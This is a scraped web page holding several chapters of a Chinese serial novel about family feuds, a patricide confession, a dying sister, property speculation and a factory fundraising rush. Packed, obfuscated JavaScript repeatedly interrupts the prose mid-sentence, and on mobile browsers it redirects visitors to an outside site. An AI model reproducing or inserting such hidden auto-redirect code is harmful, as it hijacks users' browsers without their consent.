;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15275273|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系王的烟:“不许在厂房里吸烟!” “珊瑚集团做红星厂的母集団有什么不好。”罗璇说,“你背靠大树好乘凉,资源对缝更好做,屙屎都比别人硬三分。” 关系王悻悻把打火机收回兜里:“股权变更哪有你想得那么简单,当心他们拆了红星厂把你踢出去。” “我也是被命运推着走的,我也没办法呀。”罗璇连连叹气,“不然红星厂一屁股债,我拿什么招工,拿什么给工人结工资?没Cythnia帮忙背书,红星厂什么都没有,宗先生过来,我给他看什么,看空无一人的车间?” “你们签了合作协议没有。”关系王很警惕地问。 “签个屁。你也是老油条了,她是上层人,她肯帮我已经算纡尊降贵,算我三生有幸,我还妄想拿捏她?” “那她不会翻脸吧。” 罗璇反掌拍得关系王一个踉跄。 关系王自己也拍了自己一嘴巴,“呸呸呸,不会是真的。” …… “是真的?”Cythnia抱着手,看向张东尧。 之河大学的服装产业研究室里,张东尧简单地说:“既然您主动联系我,想必已经知道我手里有一手材料。您心里清楚是真是假,又何必问我。” Cythnia的面上看不出什么神情变化。 中间人是之河大学化工系的吴教授,做服装面料研究。他急忙打圆场:“我们之和大学做学问是考据派,向来讲究‘有据可查’。” Cythnia也不废话:“红星厂欠债的事,我要怎样才能看到你的材料。” 吴教授动作很夸张地看了看研究室,又看了看展览墙。 Cythnia颔首:“我给服装产业研究室捐一笔书本费。” 吴教授笑起来,拍了拍张东尧的肩膀。张东尧的衬衫雪白,白得发亮。 他把装着红星厂欠债前后所有材料的文件袋递给Cythnia。 …… 张东尧走出研究室,手机响了。 二十万,一分钱不少,从Cythnia的户头打到了他的银行卡上。 第154章 张东娇&弑父&将死 医院里。 “这是我应得的。”张东尧神色淡淡。“我前前后后地跑,花了大精力才搞到的材料,帮她避免了多少损失。” “那可是二十万。”张东娇轻轻地说。 “姐,你没见过Cythnia身上的大衣,羊驼绒,我见过那个牌子。那件大衣二十四万。”张东尧说,“不够一件大衣钱。” “不够一件大衣钱,但你要付出什么?”张东娇加重语气,“你就此封口,甚至不能告诉罗琦的姐姐,对不对?这么大个坑,你要看着罗琦的家人跳下去,自己还袖手旁观?” 张东尧沉默。 “罗琦会怨你吗。”张东娇说。 “我们只是朋友。”张东尧漠然低垂下眼,“我没有这个责任。” 张东娇看向窗外。 片刻后,她说:“东尧,这是我的报应。我反正是治不好的,你又何必被我拖累?我早就说,不要花钱在我身上,也不要和罗琦分手。” “我不爱罗琦。”张东尧言简意赅。 “但是你孤独。”张东娇说,“而我也要离开你了。” “那未免对罗琦太不公平。” “命运又何曾对我们公平?” 姐弟两人都说不出话,怔怔地看着窗外。 天气很好,阳光明媚地照在病床上。张东娇突然流下眼泪:“活着,还是死去,我全都接受。我唯一不甘的,就是没早点杀了爸。这些天我反复想我的人生,早知道我年纪轻轻就要死去,我恨我动手晚了。我早就该杀了他,白白让你多受那么多年的苦。” 张东尧握紧张东娇的手:“能活,干嘛要死?姐,我不想死,你也不想死。如果我们想死,我们早就被爸打**,我们何苦杀了爸。” 张东娇纠正他:“是爸醉酒,骑自行车跌下桥,淹**。” 张东尧蹲在病床边,握紧张东娇的手,看到张东娇眼睛里去:“是你摔歪了自行车的把手。” 这是姐弟两人的秘密。 张东娇微笑。 张东尧说:“你真的很勇敢。我永远为你骄傲。” 张东娇说:“我也很为自己骄傲。” 张东尧的声音低不可闻,却一字一句:“姐,是你足够强大,保护了我,我们能活到今天,不靠天,不靠地,靠我们自己。如果是父亲让我们不幸,我们就弑父。如果是命运捉弄我们,我们就和命运对着干。无论如何都要活下去。” 门响了,姐弟两人立刻止住话头。张东尧站起身:“姐,我晚点再来看你。” …… “你姐姐啊。”医生说,“你再充钱,意义也不大了。” 张东尧能感觉到自己的手攥得死紧。他声音平和:“钱万一不够呢,总不能给医院添麻烦。” 医生没什么表情:“东尧,你姐姐的精神状态很好,也接受了现实。现在是你的精神状态不好,是你接受不了现实。” 张东尧不说话。 “东尧,你姐姐让我劝你。”医生拍了拍他的肩膀。 “我不明白。你是我的学长,你和我姐也算初中同学一场……” “所以我才会跟你多说几句。”医生打断他。 张东尧语速很快:“你说吧。” 医生说:“你姐姐其实不想继续受罪。只是你自己在求一个心理安慰。东尧,生老病死,这是宇宙的自然规律。活着,死去,这就是生命的本质。人都是有死的。我们**,我们会化作花,化作鸟,化作山,化作清风明月……生与死,也不过生命的一体两面。你太过执着,就会着相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15275274|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。生命不是这样。生命不是执着。生命是更更迭迭、起起伏伏,春夏秋冬,雷电雨雪……东尧,你强拽着不放,你姐姐会受罪的。” 张东尧闭上眼睛,许久后,又疲惫地睁开。 医生冷静地说,“你不必再往医院账上充钱了。你姐让我,劝你——她走就走了,你留着钱,往后的生活,好好过下去。” 张东尧伸手扶住墙。 窗外灿烂的阳光。一片青翠的叶子从窗台的缝隙钻出来。 “东尧,不要着相。” “我明白,我明白。”张东尧的声音很压抑。 “你明白就好。这些钱,你……” “可我偏要着相。”张东尧一字一句地说。 “没有意义。你再多看看生死,会发现,人生不过一场场幻影。解脱不是坏事。”医生摇头,“你姐姐……大概,就这个月。你烧钱,也不过延长十天半个月罢了。你也受苦。她也受苦。不过幻影。” 张东尧用力攥紧拳头。他声音悲凉:“那就让我们受苦。那就是我们的命。” “我偏要执着。”他重复,“我偏要着相。” 医生叹了口气。 张东尧拿出银行卡:“我准备了二十万。能延十天就十天,能延半个月就半个月。不用在乎钱。我还会再赚。” …… 张东尧走出医院。 他抬起头,阳光暖洋洋地照在脸上。微风吹过,叶子哗啦哗啦响起来,似乎努力想表达什么。 一个年轻女生扶着墙哀哀痛哭:“妈妈,妈妈,别走……” 一个男人在打电话,喜上眉梢:“生了生了,很健康!四肢齐全,手指头一个都没少!” 张东尧觉得脸上有点痒。 他摸了一把,满脸都是冰凉的眼泪。 第155章 组织炒房团&别摘我的桃子 “张东尧,你疯了吧。”罗琦的声音难掩紧张,“你胆子太大了!” 张东尧看着罗琦的面孔:“赚钱,胆子不大怎么赚。” 罗琦的脸消肿大半,已经依稀能看到昔日美丽的轮廓。只不过,怪异的眼睛和僵硬的鼻子,让从前那张美丽的面孔灵气全无。 一张受伤的脸。 张东尧按捺住自己伸手去触碰这张面孔的冲动。 他的心脏很痛。他整个人都是晕晕乎乎的、绝望的状态,但他可以装得很冷静。 张东尧冷静地打开地图,粗粗地在地图上画了个圈:“这个新规划的产业园,其实是生产用地,按道理是不能做第三产业的。” “但是。”他清晰地说。“产业融合就可以。允许在不改变土地性质的前提下,适度发展与工业生产相关的三产服务业。也就是说,生产用地还是生产用地,只要第三产业与工业生产相关,就不需要走额外的流程,相当于打政策的擦边球。” 罗琦很敏锐地说:“你的意思是,‘适度’,就意味着机会空间?” 张东尧说下去:“例如建设工业旅游项目,让游客参观工厂生产流程,了解产品制造工艺,同时开发餐饮、购物;或者打造工业设计中心、科技研发服务平台等生产**业,既服务于企业自身的生产升级,也可为其他企业提供专业服务……这种就是生产用地与三产的结合。” “有三产,就有人气。有人气,房子就有得炒。”张东尧说。 “这片房子没人买。大家都觉得荒,觉得偏,觉得是工业用地,不可能有人气,只能对口供给产业园的人住。所以目前价格非常非常低。”罗琦说。 张东尧颔首:“现在经济这个形式,房价到处跌,没人会买的。” 罗琦说:”没人会买,怎么炒。” 张东尧却说:“不稳房价,怎么稳经济呢?不拉升房价,怎么拉升经济呢?土地不溢价,钱往哪里流呢?罗琦,之所以有‘适度’的空间存在,就因为睁一只眼、闭一只眼。” 罗琦沉思。 “原则上反对,就是同意。不彻底否定,就是肯定。睁一只眼、闭一只眼,就是双眼紧闭。”张东尧说。 罗璇点点头:“我明白了。” 张东尧说:“你上次投的那套房子,可以出手了。” 罗琦苦笑着摊手:“张东尧,我知道你的眼光好。可是我拿不出钱。” 张东尧有些吃惊:“怎么会?” 罗琦说:“老郑欠了那么多债,他反正没钱,于是他的债主都盯着我,就等着我卖房套现,然后一哄而上,把我拆吃入腹……所以那套房子,动不得。” 仿佛一拳打在心脏上,张东尧咬破了嘴唇,满口血腥。 他难以遏制地拔高了声音:“老郑他凭什么——” “我和老郑。”罗璇轻声说,“没离婚呢。” …… 张东尧后退两步,喘着气坐在椅子上。 “离不掉,他找了人。”罗璇淡淡地说,“人家判出来的结果是,家暴不属于不可调和的矛盾。我没办法。” 张东尧怔怔地抬头,看着罗琦。 “那个混蛋……那个混蛋!”他听见自己嗓音嘶哑地吼叫出声,“凭什么,这都凭什么啊?!” 凭什么啊? 张东尧突然难以遏制地痛哭出声:“被欺负,难道就是我们的命吗?不想被欺负,就要受到命运的惩罚?凭什么啊?!” 他止不住抽泣,羞惭地伏在桌面上。 罗琦轻轻按住他的手臂。 几分钟后,张东尧感觉到罗琦的手冰冷地落在他的头顶,摩挲着。 张东尧渐渐冷静下来,汗涔涔地住了口。 “这世上没有绝对的好与坏。”罗琦简单地说,“好事能变成坏事,坏事也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15275275|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能变成好事。” 张东尧看着罗琦的脸。他双目酸楚。 罗琦说:“且不说我掏不出钱——只是我一个人,资金体量太小了。这样保守,注定只能赚小钱。” “我想搏一把。” “反正我和老郑没离婚。我可以利用老郑的人脉资源,组织炒房团。” …… 炒房团啊。 张东尧听完罗琦的想法。 “我当然会帮你。”张东尧说,“我觉得可行。” 罗琦说:“只是不规矩。” 张东尧看向窗外:“这个世界上,哪有那么多规矩。”他苦笑,“甚至连公平都不存在。” “正因为世界不公平,才有你的机会。”罗琦说,“东尧,你那么聪明。你太过聪明。你这样的人,一定会出头的,只是早一点、晚一点的区别。” 出头吗。 张东尧的脸上没有任何开心的神色。 “无论是你,还是我。”张东尧看着罗琦受伤的脸,声音嘶哑,“不过想日子稍微好那么一点罢了。” …… “我知道你想日子好过一点。”江明映说,“所以罗桑县这摊浑水,你又何必来蹚。” Cythnia看着降下的半扇车窗,微微有些发怔:“Adrian,好巧。” “这世界上哪有那么多偶遇和巧合。”江明映笑出声,“我特意来找的你。” Cythnia点点头:“我明白了。你是想要我,对红星厂,知难而退。” 江明映靠回车后座:“我不是在请你知难而退。” Cythnia看过去。 江明映指了指她,又指了指自己,精明瘦长的脸上收了笑容,罕见地沉下脸: “我是在警告你。” Cythnia怔住。 江明映声音不客气: “你,给我离红星厂远远的,别妄想摘我的桃子。” 第157章 我不**给你&林国栋的葬礼 “我们两个,看起来一样,其实不一样。”傅军说,“根本不是一路人。” 罗璇急了:“傅军,让你帮我招工,你拒绝我?我帮你照看小麻雀,现在轮到你帮我,你拒绝我?” 傅军说:“大恩无以报,来世再报。” 罗璇气了个倒仰。 “你得帮来我做工,不然我无人可用。”罗璇伸手拖住傅军的袖子,“你要怎样才肯帮我?” “帮你做工没问题,但是我不做长工,只做日结。”傅军重复。 “长工的钱你肯定满意,而且,不是让你做工人,是让你帮我管工人!” “给多少钱都不做。我也不想管人。我对当官、赚钱一点兴趣都没有。”傅军摇头,“没有自由,不如坐牢。” “暂时帮帮我也不行?”罗璇真的生气了,“我是怎么帮你的,你就这么回报我!” 傅军却说:“我很愿意帮你,但前提是,不能伤害我自己。罗璇,我和你不一样。” 罗璇说:“听起来我像一个为了别人会伤害自己的傻子。” “你就是,你们三姐妹,你们的妈妈,外面好多人……都是这样的傻子。对自己的人生很不负责任。” 罗璇很烦地说:“不做官,不赚钱,你清高。” “罗璇,不是我清高,是我抵御不住人性的弱点。我只要管了一个人,就想管两个人。赚了钱,就会想赚更多的钱,然后我就再也离不开权力和金钱的快乐……我没有能力驾驭权力和金钱,我会被权力和金钱**。”傅军说,“你难道不觉得这个世界,只要沾上权力和金钱,就会进入一套既定的秩序吗?所有人沿着这个秩序,不断地攀爬,攀爬,可这秩序却是不断的螺旋,最终都会回到原点的。” 罗璇震惊:“你说得还挺有哲理。” “我摆地摊卖过齐泽克的书。我很喜欢他。” 罗璇根本没有那么多文艺心思,也不是这样的人。她挥手:“你跟我说这些,我听不懂。我只知道,不挣钱,不管厂子,我很快就饿**,看不到以后什么样。” 傅军叹了口气:“你这四肢发达、头脑简单的憨货!” 罗璇反驳:“因为我务实,而你想太多。” 傅军推开台面上的布料,坐在桌沿:“罗璇,你是能从这个世界的秩序里获得快乐的人。” 罗璇反驳:“这个世界的很多规矩,我不认同。” “你不认同,但你会想方设法让自己过得好,在规矩中求生,而且你做得不错。”傅军说,“但我不是。我是自由的,我彻头彻尾不想被这个世界困住。” “那除非你**。”罗璇直接说。 “我不想死,也不想像人们那样活。”傅军摊手,“所以我只要自由。我少赚钱,少花钱,少生产关系,少和这个世界发生联系……你可以认为我是懦弱的。你也可以认为我是白眼狼,但至少我不会背叛我自己。无论你怎么认为,本质上都和我没关系。” 罗璇赌气:“我只知道你不肯帮我。” “我只是不肯加入红星厂,不肯**给你。”傅军纠正,“但我会帮你招些日结工。你帮了我大忙,我非常感激,我只能在我力所能及的范围内帮你。” 至少傅军愿意帮忙招工,罗璇只能悻悻答应。 她看了眼电子日历:“宗先生后天到。” 傅军说:“我明白。明天,我把兄弟们都喊过来。” …… 林国栋的告别仪式办在之河市殡仪馆,喊了很多人,但没什么人来。 灵堂很冷清。 罗璇走进灵堂的时候,舅妈和表弟抬起眼,神情复杂地看着她。 没人递香给她。 她走到林国栋灵前,自己抽出三支香。 罗璇注视着林国栋的照片。 那是一张黑白照片,但不是常规的半身照。是林国栋读大学的时候,站在之河大学的校园里。 草木葳蕤,郁郁葱葱,红色的凉亭,意气风发的少年,侧身披着一件军大衣,手里夹着两本书,看向远方、 罗璇把三支香**香炉里,鞠躬道别。 恩恩怨怨,风风雨雨。人**,就什么都没了。 正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15275277|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想着,哗啦啦,一大群中年人走进来。罗璇在人群中看见了赵豆豆,她穿着一套黑色的西装,不苟言笑的样子。 看样子都是林国栋的同学。 他们依次插香、鞠躬。 有个女同学哭着说:“大诗人,可惜了。” 男同学说:“国栋,我把那本诗刊带来了,找个好日子,烧给你。” 而赵豆豆什么都没说,鞠了躬,就抿着嘴站到一边。舅妈多看了她好几眼,她也看回去。两个女人对视了几眼,终究谁都没说话。 说什么,也没意义了。 门口忽然喧哗起来,林招娣被人搀着,扑倒灵前,哭得什么都说不出来,只是一味地“哎呀,哎呀……” 罗璇注视着自己的母亲哭得脸都红了,手臂按在灵前长案上。 表弟上前扶着林招娣,低声说:“大姑,香。” 林招娣哭着,颤巍巍地把三支香**香炉里。 一阵风吹过,香断了。 灵堂里安静下来,所有人看向灵前。林招娣茫然地抬起头,表弟又递给她几支香:“大姑,重新插一下吧。” 林招娣再次将香**香炉——香又断了。 众人看着那断香。 林招娣的嗓子已经全哑了。她囫囵用纸巾擦了下脸,痛苦地问:“国栋,死的为什么不是我,而是你呢?” 罗璇听见林国栋的同学动容:“多么好的姐姐啊。” 赵豆豆沉默。 林招娣哭着说:“……我不明白。我承认,我给你伪造一封退稿信是不对的,但我只是怕你留在之河,想让你回来帮我而已。你想写,你就继续写嘛!我没拦着你写啊!” 现场突然安静下来,林国栋的女同学喃喃出声:“……什么?” 林招娣看着林国栋的照片。 现场没有任何带反光的东西,所有反光的,都被白毛巾包住了。一点点微风在灵堂里轻轻地吹,白毛巾掉下半截。 林招娣顺手把毛巾挂回去。 她长久地注视着少年林国栋,哭着说:“一封退稿信而已,何至于此?!” 第158章 招娣改名 林招娣抹着眼泪。 外面一阵哭声由远及近。两个两个老人扑进灵堂: “儿啊,儿!” 人们骚动起来,罗璇看着外公外婆,急忙上去扶,被外婆一把推开。 “你们杀了我的儿,别碰我!” 罗璇被推开了几步,眼睁睁看着外婆扑上去揪着林招娣打:“是你害**你弟弟!” 外公也扯住林招娣手臂:“当年就该把你溺死,没得让你活下来,你这害人精,搅得我家永无宁日啊!” 灵堂乱成一团。 舅妈和表弟站在一边,冷眼旁观,一动没动。 是林国栋的同学门冲上去分开几人:“想开点吧。都过去了。” “我想不开!”外婆仰头嚎叫起来,“我好好的儿啊,就这么没了!都是被你害死的,你害死我孙女,害死我儿子,以后还要害死你爸和我!你这丧门星——” 林招娣被外婆扯着摇晃,惶惶然:“我没打算追究,是他就自己**的!” “就是你害死的,是你!”外公猛地把林招娣推了个趔趄,“从小你就眼红你弟弟——” “我什么时候眼红过他?!”林招娣跌坐在地下,头发被揪得乱蓬蓬的,“我弟是我一手养大的,我看他,就跟看儿子一样,我怎么可能害我亲弟弟?!” 外公提脚就要踹林招娣的心口,罗璇看不下去了,冲上去,挡在林招娣面前,用力把外公推到一边。 “说事就说事,动什么手?”她粗声粗气呵斥。 “这就是你对待长辈的态度?”老头子刚拿起架子,就被罗璇用肩膀顶得后退好几步。 凶的怕横的,横的怕愣的。外公外婆不喜欢丫头,也没带过她,反正没什么感情,罗璇下手挺狠,老头子反抗不过,推搡成一团。 “二妹,你停下!”林招娣从地下站起来,喝住罗璇,“毕竟是你长辈!” 罗璇瞪着眼睛看过去,林招娣把她推到一边。 “你们想不通,我还想不通呢!”林招娣厉声说。 “你这丧门星——” 罗璇立刻肩膀顶了外婆一下,老太太住嘴了。 “我想不开!我想不通!”林招娣转过身,看向林国栋的遗照。 “国栋,你能不能回答我?我曾经失去读书的机会,曾经被迫嫁人换彩礼,曾经被迫抛弃自己的亲生女儿,进入复杂的婚姻关系,被最亲近的人背叛……而你,这不过只是一本杂志的退稿,不过一点点小挫折,为什么你就受到这么大的伤害?既然你热爱文学,为什么你从此轻易地封笔,为什么几十年间也没再捡起来?” 林招娣站住身体,转头看向外公外婆,两个老人目瞪口呆。 老太太崩溃哭道:“你有理了,你责怪你弟弟?!” “不然呢?凭什么怪我?”林招娣转过身,继续对林国栋说,“我不可能变成别人,我只能用我的方式去对待你。我能承受的,为什么你不能承受?” “你是大姐!长姐如母!” 赵豆豆悄悄地站在林招娣身边,递了张纸巾给她。 林招娣哭得喘不过气,但讲话依旧是有条理的。 她抓住赵豆豆的手臂,痛苦地对着照片说:“国栋,我不明白。从小到大,我什么都替你准备好了,小时候,你要吃鸡蛋糕,我都用凉水泡好、端到你嘴边。你过得够好了,为什么一点点挫折,那只是一封退稿信,就让你活不下去?” 灵堂里一片安静,赵豆豆用力扶住林招娣的肩膀。 赵豆豆开口:“国栋这辈子过得太顺了。他什么都不用争取,什么都有,福祸相依,所以才养成这个性子。” 毛巾彻底掉了下来,一阵猛烈的凤吹进来。林招娣刚刚插上的香狠狠地拦腰折断,彻底跌落在地。 老太太凄厉地嚎起来:“你要遭报应的,你弟弟怨你恨你怪你,你这辈子都不得安宁——” “他有什么资格怨我恨我怪我?”林招娣厉声说。 她指着林国栋的照片,重复了一遍:“林国栋,你有什么资格怨我恨我怪我?” 灵堂上的林国栋,依旧是那个少年。 现场一片死寂,林招娣骨子里蛮狠的一面彻底被激发出来。她指着林国栋的照片,一字一句:“林国栋,是我把你养大,供你念书,支持你结婚,带着你赚钱。我倒要问问你,你敢不敢怨我恨我怪我?” “人活着要活得明明白白,死也要做个清醒鬼。你**还拖拖拉拉,你还怪我?!” 林招娣大步上前,在所有人惊愕的眼光中,用力拔下三根断香,重重掷在地下。 “我敬你香,你不要,那我就拔了你的香,你来找我啊!我倒要看看,就算到了阎王面前,是你有理还是我有理!” 灵堂内一片安静。 风在屋顶空荡荡地盘旋。 林招娣一字一句:“国栋,你走吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15275278|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你根本没脸怪我。就算到了阎王面前,就算我有错,能闹到你死我活的地步——其实是你的问题,而不是我的问题!” 外公嘶哑着怒吼出声:“招娣,你——” “招娣,招娣个屁!”林招娣破口大骂了一串脏东西和生殖器,“仗这点血缘关系,我让着你们,你们还真敢骑我脑袋上拉屎?!我告诉你们,我这辈子就是不吃屎!” “没用的东西,活着没用,死得倒是痛快,老娘一辈子供着你,心血付诸东流——我呸!你要不是我亲弟弟,我才瞧不上你!裤裆里二两软蛋!” 外婆喉咙里“格楞楞楞”响了几声,指着林招娣,两眼一翻,晕了过去。 “我叫了一辈子招娣,结果你说死就死?!你还不如叫旺姐!没用的东西!” 林招娣横眉立目,抹了把脸,一脚踩碎跌落在地的香杆,用力碾了碾。 “去**招娣!招来你这么个没用的东西,我不如改名!”林招娣大声喊着,面色狠厉,“我这就去改名!” “我改名!” …… 众人眼睁睁看着林招娣往外走,边走边恶形恶状:“林国栋是我养大的,他生是我的恩,死是还了我的恩,我林招娣的任务结束了,我谁也不欠,以后和你们老林家一刀两断,不再往来!” 她的身体巍峨壮硕,如同一座行走的山。 林招娣站定了,高声说:“去哪里改名?!” 有人看热闹不嫌事大:“警察局。” 立刻有人说:“你冷静点,要带证件的……” “带个屁!老娘每年给罗桑县纳多少税,增值税,印花税,机头税,警察局那帮人是老娘养活的,改个名推三阻四?”林招娣大手一挥,“我现在就去改名!不给我改,我就闹!” 众人一阵欢呼。 罗璇只听身边“咚”的一声响。 原来是外公晕倒了。 她急忙蹲在外公身边,喊人帮忙扶人——可左看右看,哪有人帮她? 所有人都跟着她亲生母亲往外走。 像奔涌不停的罗桑河水一般,浩浩荡荡地,为了改名,向警察局涌去。 …… 罗琦轻轻翻开《圣经》,读完这段故事的最后一句。 “孩子们在她腹中,彼此相争。耶和华对她说,两国在你腹内,两族要从你身上出来,这族必强于那族。” 她将《圣经》合拢,站起身。 第159章 丑人多作怪&变天了 罗琦看着镜子里的自己。 “我要出门了。”她的声音清凌凌的,为自己打气,“我什么都不怕。” 她看着自己怪异的鼻子和眼睛。 “我漂亮。”她说。 下一秒,罗琦用力拉开窗帘,阳光瞬间晒透了整个房间。 罗琦推开门,走了出去。 当的一声,房门再度关闭,房间内又昏暗下来。 罗琦乘上公交车,前往张东尧指给她的那片工业园区。 车上有个小孩子看见罗琦,指着她,大声说:“妈妈,你看她的脸,好奇怪。” 阳光真好啊。 罗琦心想。 小孩子的母亲惴惴不安地看了罗琦一眼,捂住孩子的嘴。 罗琦定定地注视着窗外飞速略过的风景。脸上没什么表情。 …… 公交车到了站,距离工业园还有好远的路要走。 售楼处为了卖楼,特意派了大巴车来接,车上零零星星坐着几个人。 今天是2008年10月15日,美国次贷危机的寒风已经吹遍中国,股市依旧低迷,房市也萎靡不振。 一对情侣正在吵架。 “现在房子都贵成什么样了,都是泡沫,迟早得跌完!”男人不住地说,“你就非得买房!” “鸟都知道筑个巢呢,人结婚都没个窝?” “现在买房就是高位接盘,你看看,97年商品房改革到现在,房子涨多少了!” “你没良心,到了谈婚论嫁的时候,你连个住的地方都搞不出来?” “到处都在跌,上海和深圳的房子跌了15个点,北京和广州跌了7个点,你自己想想,这房子能买吗?” “那你说怎么办?” “等几年,我们先结婚,等过几年房价降回97年的水平了,我们再买。房价一定会降的。” “这小区的房子也不贵,我都愿意跟你一起还贷款,你推三阻四?!” “这小区房子根本涨不起来!” 女人已经哭了起来。 男人显然不耐烦:“小区隔壁就是工业用地,配套根本建不起来,到时候住进去,什么都没有,交通也不方便,买过去干嘛?” “你怎么知道配套建不起来?售楼的都说了,这里要建工业旅游景区,还要建小吃街……” 男人打断她:“工业用地转民用地,土地性质就得变,手续复杂得很,这个小吃街压根就不可能建起来,售楼的骗你呢!” 女人哭着说:“好的你又买不起,差的你又不想买,这也不行,那也不行,你一天天就知道指点江山!” 两人吵了起来,男人铁青着脸站起身,下了车。女人追了出去。 大巴里寥寥数人听完全程吵架,面面相觑。 几分钟后,一个人犹豫地站起身,下了车。 这下子,剩下的人都跟着“呼啦”一声,下了车。 等到了开车的时间,司机无奈地说:“小姐,车声只剩你一个人了?你还要看吗?要不……” 司机显然懒得跑。 罗琦腰杆笔直地坐在座位上,转过头。 “我当然要去看的。”她柔声说,“开车。” 司机“啧”了声,很不耐烦:“小姐,那地方又破又烂。” 罗琦加重语气:“我说,我要去看。开车。” 司机掐灭烟。 “看就看。”他粗声粗气。 大巴车开动。 司机用罗琦刚好能听见的音量嘀咕:“丑人多作怪。” 罗琦抬眼,瞥了下大巴车的后视镜,刚好对上司机带有恶意的目光。 原来就这种感觉啊。罗琦心想。有时候,人的恶意就是无缘无故的。 她盯着司机看,司机讪讪地看向前方。 罗璇的目光转向镜子里的自己。 她对着陌生的自己,微微笑了一下。 …… 年轻工人笑着从王婶身边跑过,被王婶一把抓住:“你们都笑什么呢?” “我急,你别拉我呀。” 王婶也急了:“你们一个个的神神秘秘,脸上笑得跟朵花一样!究竟什么好事,就瞒着我?” 罗桑厂院子里一阵骚动,许多人跑了起来。 “来不及了,来不及了。” 都在赶什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15275279|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年轻工人预期匆匆:“王婶,没人瞒你,但赚钱这种事情,各凭本事。” 他滑不留手地跑开了。 王婶急得直跺脚,“喂喂”喊了两声,撒腿跟着跑过去。 王婶年轻的时候帮罗桑厂搬东西闪了腰,伤了脚趾头上的神经,跑起来非常笨拙。等她气喘吁吁地跑过去,人群早就散了。 王婶不死心,抓了好几个人问,但每个人都闭口不提,满脸神秘,急得她转圈,最后干脆不顾时间,直接冲到车间去,把老王拖了出来,用家乡话骂道:“一天天只晓得像牛一样低头拉磨,外面变天了你晓不晓得伐?!” 老王根本听不懂王婶的家乡话,但听话听音,他一下子抓住重点:“发生什么事?” 王婶努努嘴:“一个个的,神神秘秘,有什么好事,问也不说。” “是不是有人退出集资池,空出名额了?”老王急忙站起身,“我去问问,咱们上次借的钱,还一直没投进去呢。” 王婶眼睛亮了,推着老王出去。 过了一会,老王回来,满脸涨得通红,额角冒汗:“快取钱。” “真有集资的名额了?” “集资开放了!”老王压低声音,“没有额度限制了!走,我们现在赶紧回家,有多少钱拿多少钱!” 好大一个喜讯,在这时候,罗珏的警告声却回响在耳边。 王婶反而警惕起来:“怎么突然开放集资了?不是说,罗桑厂运营良好,集资太多,不好管理吗?” 老王推了王婶出门:“外头都传遍了,上面想把罗桑厂打包卖给外商,外商计划把罗桑厂迁出罗桑县。” “97年下岗又来了?!”王婶失声。 “王经理的意思是,赶在外商买厂之前,咱们罗桑厂自己人,能多分点,就多分点。” 王婶被这个消息打击得头晕脑胀:“罗桑厂要迁走?可这么多年了,罗桑厂明明是我们大家的……” 